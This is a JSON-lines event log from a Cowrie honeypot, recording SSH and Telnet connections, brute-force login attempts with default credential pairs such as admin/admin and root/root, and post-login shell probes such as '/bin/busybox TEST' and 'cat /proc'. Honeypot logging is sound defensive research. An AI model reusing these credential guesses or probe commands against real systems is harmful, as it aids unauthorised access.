{"eventid":"cowrie.login.failed","username":"root","password":"admin@1234#","message":"login attempt [root/admin@1234#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:55:06.833270Z","src_ip":"209.99.189.174","session":"8e3ec2f470d7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:55:07.963140Z","src_ip":"209.99.189.174","session":"8e3ec2f470d7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":66.58561539649963,"message":"Connection lost after 66 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:55:08.873188Z","src_ip":"64.227.101.30","session":"6840c71fc765","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.54841947555542,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:55:09.160623Z","src_ip":"68.183.198.12","session":"3f2a446b763f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":34474,"dst_ip":"10.17.0.5","dst_port":23,"session":"f83a27329fbe","protocol":"telnet","message":"New connection: 64.227.101.30:34474 (10.17.0.5:23) [session: f83a27329fbe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:55:10.108352Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":35886,"dst_ip":"10.17.0.5","dst_port":23,"session":"8113d9f37559","protocol":"telnet","message":"New connection: 64.227.101.30:35886 (10.17.0.5:23) [session: 8113d9f37559]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:55:10.613465Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":34630,"dst_ip":"10.17.0.5","dst_port":23,"session":"b7d30f392d45","protocol":"telnet","message":"New connection: 64.227.101.30:34630 (10.17.0.5:23) [session: b7d30f392d45]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:55:11.460531Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":50306,"dst_ip":"159.203.135.109","dst_port":23,"session":"180d4c81eb39","protocol":"telnet","message":"New connection: 161.97.105.174:50306 (159.203.135.109:23) [session: 180d4c81eb39]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:55:12.032591Z"}
{"eventid":"cowrie.session.closed","duration":40.91906023025513,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:55:12.859149Z","src_ip":"64.227.101.30","session":"0e6cad36c676","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.53559756278992,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:55:16.135125Z","src_ip":"64.227.101.30","session":"24ab60ac6a3e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.205.1.36","src_port":42580,"dst_ip":"159.203.135.109","dst_port":23,"session":"ca8d48f661a1","protocol":"telnet","message":"New connection: 45.205.1.36:42580 (159.203.135.109:23) [session: ca8d48f661a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:55:16.849347Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":38610,"dst_ip":"10.17.0.5","dst_port":23,"session":"a5c1c9e1205d","protocol":"telnet","message":"New connection: 64.227.101.30:38610 (10.17.0.5:23) [session: a5c1c9e1205d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:55:16.855186Z"}
{"eventid":"cowrie.session.closed","duration":0.009605169296264648,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:55:16.858820Z","src_ip":"45.205.1.36","session":"ca8d48f661a1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.205.1.36","src_port":42586,"dst_ip":"159.203.135.109","dst_port":23,"session":"0ab046d95ed4","protocol":"telnet","message":"New connection: 45.205.1.36:42586 (159.203.135.109:23) [session: 0ab046d95ed4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:55:16.960722Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"","message":"login attempt [root/] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:55:17.462962Z","src_ip":"45.205.1.36","session":"0ab046d95ed4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":51504,"dst_ip":"10.17.0.5","dst_port":23,"session":"c5816f6723f8","protocol":"telnet","message":"New connection: 64.227.101.30:51504 (10.17.0.5:23) [session: c5816f6723f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:55:17.892529Z"}
{"eventid":"cowrie.session.closed","duration":1.501939058303833,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:55:18.462523Z","src_ip":"45.205.1.36","session":"0ab046d95ed4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.205.1.36","src_port":42588,"dst_ip":"159.203.135.109","dst_port":23,"session":"9d20f780a260","protocol":"telnet","message":"New connection: 45.205.1.36:42588 (159.203.135.109:23) [session: 9d20f780a260]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:55:18.571551Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":33886,"dst_ip":"159.203.135.109","dst_port":23,"session":"5756cd4ae8e2","protocol":"telnet","message":"New connection: 161.97.105.174:33886 (159.203.135.109:23) [session: 5756cd4ae8e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:55:18.715238Z"}
{"eventid":"cowrie.session.closed","duration":0.8669357299804688,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:55:18.759322Z","src_ip":"64.227.101.30","session":"c5816f6723f8","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"root","message":"login attempt [root/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:55:19.321158Z","src_ip":"45.205.1.36","session":"9d20f780a260","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.29510688781738,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:55:19.477677Z","src_ip":"64.227.101.30","session":"6bdf3fe2fdcc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":48.12244486808777,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:55:19.696584Z","src_ip":"64.227.101.30","session":"8d4c2606c746","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":40700,"dst_ip":"10.17.0.5","dst_port":23,"session":"2f75ef02e14c","protocol":"telnet","message":"New connection: 64.227.101.30:40700 (10.17.0.5:23) [session: 2f75ef02e14c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:55:19.724702Z"}
{"eventid":"cowrie.session.closed","duration":1.7508232593536377,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:55:20.322280Z","src_ip":"45.205.1.36","session":"9d20f780a260","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.205.1.36","src_port":42590,"dst_ip":"159.203.135.109","dst_port":23,"session":"8ba576a1da80","protocol":"telnet","message":"New connection: 45.205.1.36:42590 (159.203.135.109:23) [session: 8ba576a1da80]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:55:20.432800Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":53908,"dst_ip":"10.17.0.5","dst_port":23,"session":"83481c0d98e5","protocol":"telnet","message":"New connection: 64.227.101.30:53908 (10.17.0.5:23) [session: 83481c0d98e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:55:20.714914Z"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:55:20.932757Z","src_ip":"45.205.1.36","session":"8ba576a1da80","protocol":"telnet"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:55:20.971988Z","src_ip":"45.205.1.36","session":"8ba576a1da80","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.54355311393738,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:55:20.978138Z","src_ip":"161.97.105.174","session":"e4baf42097d4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":65.38269710540771,"message":"Connection lost after 65 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:55:21.256956Z","src_ip":"64.227.101.30","session":"031d644ba7e6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.092978715896606,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:55:21.929762Z","src_ip":"64.227.101.30","session":"f2314d0f3e4b","protocol":"telnet"}
{"eventid":"cowrie.command.input","input":"echo SHELL_TEST","message":"CMD: echo SHELL_TEST","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:55:21.936240Z","src_ip":"45.205.1.36","session":"8ba576a1da80","protocol":"telnet"}
{"eventid":"cowrie.command.input","input":"/bin/busybox TEST","message":"CMD: /bin/busybox TEST","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:55:22.433829Z","src_ip":"45.205.1.36","session":"8ba576a1da80","protocol":"telnet"}
{"eventid":"cowrie.command.input","input":"cat /proc","message":"CMD: cat /proc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:55:23.034206Z","src_ip":"45.205.1.36","session":"8ba576a1da80","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":42178,"dst_ip":"10.17.0.5","dst_port":23,"session":"4a3949499f38","protocol":"telnet","message":"New connection: 64.227.101.30:42178 (10.17.0.5:23) [session: 4a3949499f38]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:55:23.460439Z"}
{"eventid":"cowrie.command.input","input":"./","message":"CMD: ./","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:55:23.634310Z","src_ip":"45.205.1.36","session":"8ba576a1da80","protocol":"telnet"}
{"eventid":"cowrie.command.failed","input":"./ ","message":"Command not found: ./ ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:55:23.638423Z","src_ip":"45.205.1.36","session":"8ba576a1da80","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":33890,"dst_ip":"159.203.135.109","dst_port":23,"session":"dc7f57b324bc","protocol":"telnet","message":"New connection: 161.97.105.174:33890 (159.203.135.109:23) [session: dc7f57b324bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:55:23.831166Z"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/8a6ec7b5e46a3a9e5ee837394a2bb870a78f5f16ea86f1f33271447f9eed1860","size":565,"shasum":"8a6ec7b5e46a3a9e5ee837394a2bb870a78f5f16ea86f1f33271447f9eed1860","duplicate":true,"duration":"3.3","message":"Closing TTY Log: var/lib/cowrie/tty/8a6ec7b5e46a3a9e5ee837394a2bb870a78f5f16ea86f1f33271447f9eed1860 after 3.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:55:24.235511Z","src_ip":"45.205.1.36","session":"8ba576a1da80","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":3.8139712810516357,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:55:24.246648Z","src_ip":"45.205.1.36","session":"8ba576a1da80","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.198.12","src_port":43098,"dst_ip":"159.203.135.109","dst_port":23,"session":"b78c1734d67d","protocol":"telnet","message":"New connection: 68.183.198.12:43098 (159.203.135.109:23) [session: b78c1734d67d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:55:26.290175Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":44764,"dst_ip":"10.17.0.5","dst_port":23,"session":"fa80c2e5eeb1","protocol":"telnet","message":"New connection: 64.227.101.30:44764 (10.17.0.5:23) [session: fa80c2e5eeb1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:55:27.021816Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":43098,"dst_ip":"10.17.0.5","dst_port":23,"session":"28cedd7abad7","protocol":"telnet","message":"New connection: 64.227.101.30:43098 (10.17.0.5:23) [session: 28cedd7abad7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:55:27.133365Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":44912,"dst_ip":"10.17.0.5","dst_port":23,"session":"27acb168b1b7","protocol":"telnet","message":"New connection: 64.227.101.30:44912 (10.17.0.5:23) [session: 27acb168b1b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:55:28.286141Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":45536,"dst_ip":"10.17.0.5","dst_port":23,"session":"3689bb469970","protocol":"telnet","message":"New connection: 64.227.101.30:45536 (10.17.0.5:23) [session: 3689bb469970]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:55:29.484100Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":53186,"dst_ip":"159.203.135.109","dst_port":23,"session":"02a586c27efc","protocol":"telnet","message":"New connection: 161.97.105.174:53186 (159.203.135.109:23) [session: 02a586c27efc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:55:31.756416Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":46678,"dst_ip":"10.17.0.5","dst_port":23,"session":"ab3e76692a5b","protocol":"telnet","message":"New connection: 64.227.101.30:46678 (10.17.0.5:23) [session: ab3e76692a5b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:55:33.504029Z"}
{"eventid":"cowrie.session.closed","duration":41.286134004592896,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:55:33.527954Z","src_ip":"64.227.101.30","session":"bbf6fef480c6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.198.12","src_port":44206,"dst_ip":"159.203.135.109","dst_port":23,"session":"13afef10d667","protocol":"telnet","message":"New connection: 68.183.198.12:44206 (159.203.135.109:23) [session: 13afef10d667]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:55:35.507417Z"}
{"eventid":"cowrie.session.closed","duration":0.5086493492126465,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:55:36.015878Z","src_ip":"68.183.198.12","session":"13afef10d667","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":50194,"dst_ip":"10.17.0.5","dst_port":23,"session":"55ee7fa8587d","protocol":"telnet","message":"New connection: 64.227.101.30:50194 (10.17.0.5:23) [session: 55ee7fa8587d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:55:36.639138Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":48644,"dst_ip":"10.17.0.5","dst_port":23,"session":"df04ea771016","protocol":"telnet","message":"New connection: 64.227.101.30:48644 (10.17.0.5:23) [session: df04ea771016]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:55:36.957886Z"}
{"eventid":"cowrie.session.closed","duration":36.88846397399902,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:55:38.032363Z","src_ip":"161.97.105.174","session":"426f7b8fc31f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.9426589012146,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:55:38.367449Z","src_ip":"161.97.105.174","session":"7ab11e305ad3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":52658,"dst_ip":"10.17.0.5","dst_port":23,"session":"8ea58289cee2","protocol":"telnet","message":"New connection: 64.227.101.30:52658 (10.17.0.5:23) [session: 8ea58289cee2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:55:42.955265Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":52192,"dst_ip":"10.17.0.5","dst_port":23,"session":"5b7676641b44","protocol":"telnet","message":"New connection: 64.227.101.30:52192 (10.17.0.5:23) [session: 5b7676641b44]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:55:43.008558Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":52860,"dst_ip":"10.17.0.5","dst_port":23,"session":"b36b92111750","protocol":"telnet","message":"New connection: 64.227.101.30:52860 (10.17.0.5:23) [session: b36b92111750]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:55:45.380604Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":60310,"dst_ip":"10.17.0.5","dst_port":22,"session":"ba61a4262273","protocol":"ssh","message":"New connection: 193.32.162.145:60310 (10.17.0.5:22) [session: ba61a4262273]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:55:46.696633Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:55:46.701444Z","src_ip":"193.32.162.145","session":"ba61a4262273","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:55:46.807963Z","src_ip":"193.32.162.145","session":"ba61a4262273","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.97819900512695,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:55:47.010649Z","src_ip":"161.97.105.174","session":"180d4c81eb39","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"raydium","password":"raydium","message":"login attempt [raydium/raydium] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:55:47.140578Z","src_ip":"193.32.162.145","session":"ba61a4262273","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":46.670326709747314,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:55:47.645027Z","src_ip":"68.183.198.12","session":"5180140340eb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.014763832092285,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:55:48.123001Z","src_ip":"64.227.101.30","session":"f83a27329fbe","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:55:48.252956Z","src_ip":"193.32.162.145","session":"ba61a4262273","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.192511558532715,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:55:48.805853Z","src_ip":"64.227.101.30","session":"8113d9f37559","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":54544,"dst_ip":"10.17.0.5","dst_port":23,"session":"8f31e9783554","protocol":"telnet","message":"New connection: 64.227.101.30:54544 (10.17.0.5:23) [session: 8f31e9783554]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:55:51.300534Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":48934,"dst_ip":"10.17.0.5","dst_port":23,"session":"da08a11d7fe0","protocol":"telnet","message":"New connection: 64.227.101.30:48934 (10.17.0.5:23) [session: da08a11d7fe0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:55:51.420106Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":58628,"dst_ip":"10.17.0.5","dst_port":23,"session":"54696eb48648","protocol":"telnet","message":"New connection: 64.227.101.30:58628 (10.17.0.5:23) [session: 54696eb48648]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:55:51.825702Z"}
{"eventid":"cowrie.session.closed","duration":33.16235828399658,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:55:51.877499Z","src_ip":"161.97.105.174","session":"5756cd4ae8e2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.198.12","src_port":47168,"dst_ip":"159.203.135.109","dst_port":23,"session":"ebb2d83d2402","protocol":"telnet","message":"New connection: 68.183.198.12:47168 (159.203.135.109:23) [session: ebb2d83d2402]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:55:52.873185Z"}
{"eventid":"cowrie.session.closed","duration":30.941566228866577,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:55:54.772594Z","src_ip":"161.97.105.174","session":"dc7f57b324bc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.88087320327759,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:55:55.605429Z","src_ip":"64.227.101.30","session":"2f75ef02e14c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.198.12","src_port":47742,"dst_ip":"159.203.135.109","dst_port":23,"session":"78901be94042","protocol":"telnet","message":"New connection: 68.183.198.12:47742 (159.203.135.109:23) [session: 78901be94042]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:55:56.535209Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.99.189.174","src_port":60420,"dst_ip":"10.17.0.5","dst_port":22,"session":"d7c9e667fd32","protocol":"ssh","message":"New connection: 209.99.189.174:60420 (10.17.0.5:22) [session: d7c9e667fd32]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:55:56.996415Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:55:57.001025Z","src_ip":"209.99.189.174","session":"d7c9e667fd32","protocol":"ssh"}
